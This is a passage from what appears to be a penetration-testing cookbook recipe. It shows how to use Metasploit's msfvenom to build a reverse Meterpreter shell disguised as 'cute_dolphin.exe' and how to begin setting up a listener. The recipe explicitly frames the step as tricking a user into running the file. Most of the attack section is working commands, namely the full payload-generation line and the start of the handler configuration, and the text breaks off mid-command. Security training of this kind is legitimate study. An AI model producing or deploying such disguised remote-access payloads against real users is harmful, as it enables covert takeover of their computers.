Creating a reverse shell with Metasploit and capturing its connections
When we do a client side attack, we have the ability to trick the user into executing programs and make those programs connect back to a controlling computer.
In this recipe, we will learn how to use Metasploit's msfvenom to create an executable program (reverse meterpreter shell) that will connect to our Kali computer, when executed, and give us the control of the user's computer.
How to do it...
First, we will create our shell. Open a terminal in Kali and issue the following command:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4443 -f exe > cute_dolphin.exe
This will create a file named
cute_dolphin.exe
, which is a reverse meterpreter shell; reverse means that it will connect back to us instead of listening for us to connect.Next, we need to set up a listener for the connection our cute dolphin is going to create, in the msfconsole's terminal:
use exploit/multi/handler set payload windows/meterpreter...